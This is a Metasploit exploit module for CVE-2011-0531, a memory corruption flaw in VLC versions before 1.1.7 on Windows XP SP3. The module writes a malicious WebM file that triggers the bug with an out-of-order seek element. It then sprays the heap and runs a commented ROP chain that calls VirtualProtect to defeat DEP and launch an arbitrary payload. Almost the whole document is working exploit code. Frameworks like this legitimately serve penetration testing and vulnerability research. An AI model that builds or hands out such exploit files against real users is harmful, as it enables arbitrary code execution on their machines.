##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::FILEFORMAT

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'VideoLAN VLC MKV Memory Corruption',
      'Description'    => %q{
          This module exploits an input validation error in VideoLAN VLC
        < 1.1.7.  By creating a malicious MKV or WebM file, a remote attacker
        could execute arbitrary code.

        NOTE: As of July 1st, 2010, VLC now calls SetProcessDEPPoly to
        permanently enable NX support on machines that support it.
      },
      'License'        => MSF_LICENSE,
      'Author'         => [ 'Dan Rosenberg' ],
      'References'     =>
        [
          [ 'OSVDB', '70698' ],
          [ 'CVE', '2011-0531' ],
          [ 'BID', '46060' ],
          [ 'URL', 'http://git.videolan.org/?p=vlc.git&a=commitdiff&h=59491dcedffbf97612d2c572943b56ee4289dd07&hp=f085cfc1c95b922e3c750ee93ec58c3f2d5f7456' ],
          [ 'URL', 'http://www.videolan.org/security/sa1102.html' ]
        ],
      'Payload'        =>
        {
          'Space'		=> 1024,
          'DisableNops'	=> true,
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'VLC 1.1.6 on Windows XP SP3',
            {
              'SprayTarget' => 0x030b030a,
              'Ret' => 0x6ce091b5,		# Pointer to SprayTarget
              'Base' => 0x6cd00000,		# Base of libtaglib_plugin.dll
            }
          ],
        ],
      'Privileged'     => false,
      'DisclosureDate' => 'Jan 31 2011',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('FILENAME', [ true, 'The file name.',  'msf.webm']),
      ])
  end

  def exploit

    rop_base = target["Base"]
    spray = target["SprayTarget"]

    # EBML Header
    file =  "\x1A\x45\xDF\xA3"	# EBML
    file << "\x01\x00\x00\x00"
    file << "\x00\x00\x00\x1F"
    file << "\x42\x86\x81\x01"	# EBMLVersion = 1
    file << "\x42\xF7\x81\x01"	# EBMLReadVersion = 1
    file << "\x42\xF2\x81\x04"	# EBMLMaxIDLength = 4
    file << "\x42\xF3\x81\x08"	# EBMLMaxSizeLength = 8
    file << "\x42\x82\x84\x77"	# DocType = "webm"
    file << "\x65\x62\x6D"
    file << "\x42\x87\x81\x02"	# DocTypeVersion = 2
    file << "\x42\x85\x81\x02"	# DocTypeReadVersion = 2

    # Segment data
    file << "\x18\x53\x80\x67"	# (0) Segment
    file << "\x01\x00\x00\x00"
    file << "\x01\xD6\x22\xF1"

    # Seek data
    file << "\x11\x4D\x9B\x74"	# (1) SeekHead
    file << "\x40\x3F"

    file << "\x4D\xBB\x8B"		# (2) Seek
    file << "\x53\xAB\x84"		# (3) SeekID = Segment Info
    file << "\x15\x49\xA9\x66"	#

    file << "\x53\xAC\x81"		# (3) SeekPosition
    file << "\xff"			# 	index of segment info

    # Trigger the bug with an out-of-order element
    file << "\x53\xAB\x84"		# (3) SeekID = Tracks
    file << "\x16\x54\xAE\x6B"	#

    file << "\x42" * 228 		# Padding

    # Data
    file << "\x15\x49\xA9\x66"	# (1) Segment Info
    file << "\x01\x00\x00\x00"	#
    file << "\x01\xff\xff\xff"	# This triggers our heap spray...
    file << [target.ret].pack('V')	# Pointer to our heap spray

    # The alignment plays nice, so EIP will always
    # hit our pivot when our heapspray works.  ESI contains
    # 0x030b030a, which will point to one of our "pop; retn"
    # pointers, so this works as both a pivot and NOPsled
    block = [
      rop_base + 0x229a5,		# xcgh esi,esp; retn
      rop_base + 0x2c283,		# pop eax; retn
      0xdeadbeef,			# pad
      rop_base + 0x2c283,		# pop eax; retn
    ]
    block = block.pack('V*')

    # ROP payload
    rop = [
      rop_base + 0x1022,		# retn

      # Call VirtualProtect()
      rop_base + 0x2c283,		# pop eax; retn
      rop_base + 0x1212a4,		# IAT entry for VirtualProtect -> eax
      rop_base + 0x12fda,		# mov eax,DWORD PTR [eax]
      rop_base + 0x29d13,		# jmp eax

      rop_base + 0x1022,		# retn
      spray & ~0xfff,			# lpAddress
      0x60000,			# dwSize
      0x40,				# flNewProtect
      spray - 0x1000,			# lpfOldProtect

      # Enough of this ROP business...
      rop_base + 0xdace8              # push esp; retn
    ]
    rop = rop.pack('V*')

    # Overwrite the bad pointer with the address of an infinite
    # loop so the other threads spin instead of crashing
    rop << "\xc7\x05"
    rop << [spray + 0xc].pack('V')
    rop << [rop_base + 0x1c070].pack('V')	# mov DWORD PTR ds:[ptr],&loop

    # Restore the stack
    rop << "\x87\xe6"			# xchg esi,esp

    # Payload
    rop << payload.encoded

    # We need to be 16-byte aligned
    rop << "\xcc" * (16 - rop.length % 16)

    # Heapspray and payload, go!
    32.times {
      0x3000.times {
        file << block
      }
      file << rop
    }

    print_status("Creating '#{datastore['FILENAME']}' file ...")

    file_create(file)

  end
end
